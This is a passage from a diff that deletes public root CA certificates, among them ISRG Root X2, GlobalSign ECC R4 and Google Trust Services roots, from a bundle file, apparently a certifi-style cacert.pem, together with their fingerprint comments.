-CQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2Vh
-cmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9v
-dCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoXDTQ1MDIxMzExMDEwOVowbDELMAkG
-A1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
-aCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJvb3Qg
-Q0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7
-KKrxcm1lAEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9Y
-STHMmE5gEYd103KUkE+bECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUw
-AwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQD
-AgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAircJRQO9gcS3ujwLEXQNw
-SaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/QwCZ61IygN
-nxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
------END CERTIFICATE-----
-
-# Issuer: CN=Autoridad de Certificacion Firmaprofesional CIF A62634068
-# Subject: CN=Autoridad de Certificacion Firmaprofesional CIF A62634068
-# Label: "Autoridad de Certificacion Firmaprofesional CIF A62634068"
-# Serial: 1977337328857672817
-# MD5 Fingerprint: 4e:6e:9b:54:4c:ca:b7:fa:48:e4:90:b1:15:4b:1c:a3
-# SHA1 Fingerprint: 0b:be:c2:27:22:49:cb:39:aa:db:35:5c:53:e3:8c:ae:78:ff:b6:fe
-# SHA256 Fingerprint: 57:de:05:83:ef:d2:b2:6e:03:61:da:99:da:9d:f4:64:8d:ef:7e:e8:44:1c:3b:72:8a:fa:9b:cd:e0:f9:b2:6a
------BEGIN CERTIFICATE-----
-MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UE
-BhMCRVMxQjBABgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1h
-cHJvZmVzaW9uYWwgQ0lGIEE2MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1
-MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIwQAYDVQQDDDlBdXRvcmlkYWQgZGUg
-Q2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBBNjI2MzQwNjgwggIi
-MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDDUtd9
-thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQM
-cas9UX4PB99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefG
-L9ItWY16Ck6WaVICqjaY7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15i
-NA9wBj4gGFrO93IbJWyTdBSTo3OxDqqHECNZXyAFGUftaI6SEspd/NYrspI8IM/h
-X68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyIplD9amML9ZMWGxmPsu2b
-m8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctXMbScyJCy
-Z/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirja
-EbsXLZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/T
-KI8xWVvTyQKmtFLKbpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF
-6NkBiDkal4ZkQdU7hwxu+g/GvUgUvzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVh
-OSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1UdDgQWBBRlzeurNR4APn7VdMAc
-tHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4wgZswgZgGBFUd
-IAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
-b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABC
-AG8AbgBhAG4AbwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAw
-ADEANzAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9m
-iWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL4QjbEwj4KKE1soCzC1HA01aajTNF
-Sa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDbLIpgD7dvlAceHabJ
-hfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1ilI45P
-Vf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZE
-EAEeiGaPcjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV
-1aUsIC+nmCjuRfzxuIgALI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2t
-CsvMo2ebKHTEm9caPARYpoKdrcd7b/+Alun4jWq9GJAd/0kakFI3ky88Al2CdgtR
-5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH9IBk9W6VULgRfhVwOEqw
-f9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpfNIbnYrX9
-ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNK
-GbqEZycPvEJdvSRUDewdcAZfpLz6IHxV
------END CERTIFICATE-----
-
-# Issuer: CN=vTrus ECC Root CA O=iTrusChina Co.,Ltd.
-# Subject: CN=vTrus ECC Root CA O=iTrusChina Co.,Ltd.
-# Label: "vTrus ECC Root CA"
-# Serial: 630369271402956006249506845124680065938238527194
-# MD5 Fingerprint: de:4b:c1:f5:52:8c:9b:43:e1:3e:8f:55:54:17:8d:85
-# SHA1 Fingerprint: f6:9c:db:b0:fc:f6:02:13:b6:52:32:a6:a3:91:3f:16:70:da:c3:e1
-# SHA256 Fingerprint: 30:fb:ba:2c:32:23:8e:2a:98:54:7a:f9:79:31:e5:50:42:8b:9b:3f:1c:8e:eb:66:33:dc:fa:86:c5:b2:7d:d3
------BEGIN CERTIFICATE-----
-MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMw
-RzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAY
-BgNVBAMTEXZUcnVzIEVDQyBSb290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDcz
-MTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28u
-LEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYwEAYHKoZIzj0CAQYF
-K4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+cToL0
-v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUd
-e4BdS49nTPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYD
-VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIw
-V53dVvHH4+m4SVBrm2nDb+zDfSXkV5UTQJtS0zvzQBm8JsctBp61ezaf9SXUY2sA
-AjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQLYgmRWAD5Tfs0aNoJrSEG
-GJTO
------END CERTIFICATE-----
-
-# Issuer: CN=vTrus Root CA O=iTrusChina Co.,Ltd.
-# Subject: CN=vTrus Root CA O=iTrusChina Co.,Ltd.
-# Label: "vTrus Root CA"
-# Serial: 387574501246983434957692974888460947164905180485
-# MD5 Fingerprint: b8:c9:37:df:fa:6b:31:84:64:c5:ea:11:6a:1b:75:fc
-# SHA1 Fingerprint: 84:1a:69:fb:f5:cd:1a:25:34:13:3d:e3:f8:fc:b8:99:d0:c9:14:b7
-# SHA256 Fingerprint: 8a:71:de:65:59:33:6f:42:6c:26:e5:38:80:d0:0d:88:a1:8d:a4:c6:a9:1f:0d:cb:61:94:e2:06:c5:c9:63:87
------BEGIN CERTIFICATE-----
-MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQEL
-BQAwQzELMAkGA1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4x
-FjAUBgNVBAMTDXZUcnVzIFJvb3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMx
-MDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoGA1UEChMTaVRydXNDaGluYSBDby4s
-THRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQAD
-ggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZotsSKYc
-IrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykU
-AyyNJJrIZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+
-GrPSbcKvdmaVayqwlHeFXgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z9
-8Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KAYPxMvDVTAWqXcoKv8R1w6Jz1717CbMdH
-flqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70kLJrxLT5ZOrpGgrIDajt
-J8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2AXPKBlim
-0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZN
-pGvu/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQ
-UqqzApVg+QxMaPnu1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHW
-OXSuTEGC2/KmSNGzm/MzqvOmwMVO9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMB
-AAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYgscasGrz2iTAPBgNVHRMBAf8E
-BTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAKbqSSaet
-8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
-nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1j
-bhd47F18iMjrjld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvM
-Kar5CKXiNxTKsbhm7xqC5PD48acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIiv
-TDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJnxDHO2zTlJQNgJXtxmOTAGytfdELS
-S8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554WgicEFOwE30z9J4nfr
-I8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4sEb9
-b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNB
-UvupLnKWnyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1P
-Ti07NEPhmg4NpGaXutIcSkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929ven
-sBxXVsFy6K2ir40zSbofitzmdHxghm+Hl3s=
------END CERTIFICATE-----
-
-# Issuer: CN=ISRG Root X2 O=Internet Security Research Group
-# Subject: CN=ISRG Root X2 O=Internet Security Research Group
-# Label: "ISRG Root X2"
-# Serial: 87493402998870891108772069816698636114
-# MD5 Fingerprint: d3:9e:c4:1e:23:3c:a6:df:cf:a3:7e:6d:e0:14:e6:e5
-# SHA1 Fingerprint: bd:b1:b9:3c:d5:97:8d:45:c6:26:14:55:f8:db:95:c7:5a:d1:53:af
-# SHA256 Fingerprint: 69:72:9b:8e:15:a8:6e:fc:17:7a:57:af:b7:17:1d:fc:64:ad:d2:8c:2f:ca:8c:f1:50:7e:34:45:3c:cb:14:70
------BEGIN CERTIFICATE-----
-MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQsw
-CQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2gg
-R3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00
-MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5ldCBT
-ZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgyMHYw
-EAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0HttwW
-+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9
-ItgKbppbd9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
-AQH/BAUwAwEB/zAdBgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZI
-zj0EAwMDaAAwZQIwe3lORlCEwkSHRhtFcP9Ymd70/aTSVaYgLXTWNLxBo1BfASdW
-tL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5U6VR5CmD1/iQMVtCnwr1
-/q4AaOeMSQ+2b1tbFfLn
------END CERTIFICATE-----
-
-# Issuer: CN=HiPKI Root CA - G1 O=Chunghwa Telecom Co., Ltd.
-# Subject: CN=HiPKI Root CA - G1 O=Chunghwa Telecom Co., Ltd.
-# Label: "HiPKI Root CA - G1"
-# Serial: 60966262342023497858655262305426234976
-# MD5 Fingerprint: 69:45:df:16:65:4b:e8:68:9a:8f:76:5f:ff:80:9e:d3
-# SHA1 Fingerprint: 6a:92:e4:a8:ee:1b:ec:96:45:37:e3:29:57:49:cd:96:e3:e5:d2:60
-# SHA256 Fingerprint: f0:15:ce:3c:c2:39:bf:ef:06:4b:e9:f1:d2:c4:17:e1:a0:26:4a:0a:94:be:1f:0c:8d:12:18:64:eb:69:49:cc
------BEGIN CERTIFICATE-----
-MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBP
-MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0
-ZC4xGzAZBgNVBAMMEkhpUEtJIFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRa
-Fw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3
-YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kgUm9vdCBDQSAtIEcx
-MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0o9Qw
-qNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twv
-Vcg3Px+kwJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6
-lZgRZq2XNdZ1AYDgr/SEYYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnz
-Qs7ZngyzsHeXZJzA9KMuH5UHsBffMNsAGJZMoYFL3QRtU6M9/Aes1MU3guvklQgZ
-KILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfdhSi8MEyr48KxRURHH+CK
-FgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj1jOXTyFj
-HluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDr
-y+K49a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ
-/W3c1pzAtH2lsN0/Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgM
-a/aOEmem8rJY5AIJEzypuxC00jBF8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6
-fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
-HQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQDAgGGMA0GCSqG
-SIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi
-7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqc
-SE5XCV0vrPSltJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6Fza
-ZsT0pPBWGTMpWmWSBUdGSquEwx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9Tc
-XzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07QJNBAsNB1CI69aO4I1258EHBGG3zg
-iLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv5wiZqAxeJoBF1Pho
-L5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+GpzjLrF
-Ne85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wr
-kkVbbiVghUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+
-vhV4nYWBSipX3tUZQ9rbyltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQU
-YDksswBVLuT1sw5XxJFBAJw/6KXf6vb/yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ==
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R4
-# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R4
-# Label: "GlobalSign ECC Root CA - R4"
-# Serial: 159662223612894884239637590694
-# MD5 Fingerprint: 26:29:f8:6d:e1:88:bf:a2:65:7f:aa:c4:cd:0f:7f:fc
-# SHA1 Fingerprint: 6b:a0:b0:98:e1:71:ef:5a:ad:fe:48:15:80:77:10:f4:bd:6f:0b:28
-# SHA256 Fingerprint: b0:85:d7:0b:96:4f:19:1a:73:e4:af:0d:54:ae:7a:0e:07:aa:fd:af:9b:71:dd:08:62:13:8a:b7:32:5a:24:a2
------BEGIN CERTIFICATE-----
-MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYD
-VQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2Jh
-bFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgw
-MTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9iYWxTaWduIEVDQyBSb290IENBIC0g
-UjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wWTAT
-BgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkWymOx
-uYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNV
-HQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/
-+wpu+74zyTyjhNUwCgYIKoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147
-bmF0774BxL4YSFlhgjICICadVGNA3jdgUM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
------END CERTIFICATE-----
-
-# Issuer: CN=GTS Root R1 O=Google Trust Services LLC
-# Subject: CN=GTS Root R1 O=Google Trust Services LLC
-# Label: "GTS Root R1"
-# Serial: 159662320309726417404178440727
-# MD5 Fingerprint: 05:fe:d0:bf:71:a8:a3:76:63:da:01:e0:d8:52:dc:40
-# SHA1 Fingerprint: e5:8c:1c:c4:91:3b:38:63:4b:e9:10:6e:e3:ad:8e:6b:9d:d9:81:4a
-# SHA256 Fingerprint: d9:47:43:2a:bd:e7:b7:fa:90:fc:2e:6b:59:10:1b:12:80:e0:e1:c7:e4:e4:0f:a3:c6:88:7f:ff:57:a7:f4:cf
------BEGIN CERTIFICATE-----
-MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQsw
-CQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEU
-MBIGA1UEAxMLR1RTIFJvb3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAw
-MDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZp
-Y2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUA
-A4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaMf/vo
-27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7w
-Cl7raKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjw
-TcLCeoiKu7rPWRnWr4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0Pfybl
-qAj+lug8aJRT7oM6iCsVlgmy4HqMLnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaH
-szVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk9+aCEI3oncKKiPo4Zor8
-Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zqkUspzBmk
-MiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92
-wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70p
-aDPvOmbsB4om3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrN
-VjzRlwW5y0vtOUucxD/SVRNuJLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQID
-AQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
-FgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQADggIBAJ+qQibb
-C5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
-QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuy
-h6f88/qBVRRiClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM4
-7HLwEXWdyzRSjeZ2axfG34arJ45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8J
-ZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYciNuaCp+0KueIHoI17eko8cdLiA6Ef
-MgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5meLMFrUKTX5hgUvYU/
-Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJFfbdT
-6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ
-0E6yove+7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm
-2tIMPNuzjsmhDYAPexZ3FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bb
-bP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3gm3c
------END CERTIFICATE-----
-
-# Issuer: CN=GTS Root R3 O=Google Trust Services LLC
-# Subject: CN=GTS Root R3 O=Google Trust Services LLC
-# Label: "GTS Root R3"
-# Serial: 159662495401136852707857743206
-# MD5 Fingerprint: 3e:e7:9d:58:02:94:46:51:94:e5:e0:22:4a:8b:e7:73
-# SHA1 Fingerprint: ed:e5:71:80:2b:c8:92:b9:5b:83:3c:d2:32:68:3f:09:cd:a0:1e:46
-# SHA256 Fingerprint: 34:d8:a7:3e:e2:08:d9:bc:db:0d:95:65:20:93:4b:4e:40:e6:94:82:59:6e:8b:6f:73:c8:42:6b:01:0a:6f:48
------BEGIN CERTIFICATE-----
-MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYD
-VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
-A1UEAxMLR1RTIFJvb3QgUjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
-WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
-IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
-AAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout736G
-jOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL2
-4CejQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
-BBTB8Sa6oC2uhYHP0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7
-VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azTL818+FsuVbu/3ZL3pAzcMeGiAjEA/Jdm
-ZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV11RZt+cRLInUue4X
------END CERTIFICATE-----
-
-# Issuer: CN=GTS Root R4 O=Google Trust Services LLC
-# Subject: CN=GTS Root R4 O=Google Trust Services LLC
-# Label: "GTS Root R4"
-# Serial: 159662532700760215368942768210
-# MD5 Fingerprint: 43:96:83:77:19:4d:76:b3:9d:65:52:e4:1d:22:a5:e8
-# SHA1 Fingerprint: 77:d3:03:67:b5:e0:0c:15:f6:0c:38:61:df:7c:e1:3b:92:46:4d:47
-# SHA256 Fingerprint: 34:9d:fa:40:58:c5:e2:63:12:3b:39:8a:e7:95:57:3c:4e:13:13:c8:3f:e6:8f:93:55:6c:d5:e8:03:1b:3c:7d
------BEGIN CERTIFICATE-----
-MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYD
-VQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIG
-A1UEAxMLR1RTIFJvb3QgUjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAw
-WjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2Vz
-IExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
-AATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzuhXyi
-QHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvR
-HYqjQjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
-BBSATNbrdP9JNqPV2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D
-9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/Cr8deVl5c1RxYIigL9zC2L7F8AjEA8GE8
-p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh4rsUecrNIdSUtUlD
------END CERTIFICATE-----
-
-# Issuer: CN=Telia Root CA v2 O=Telia Finland Oyj
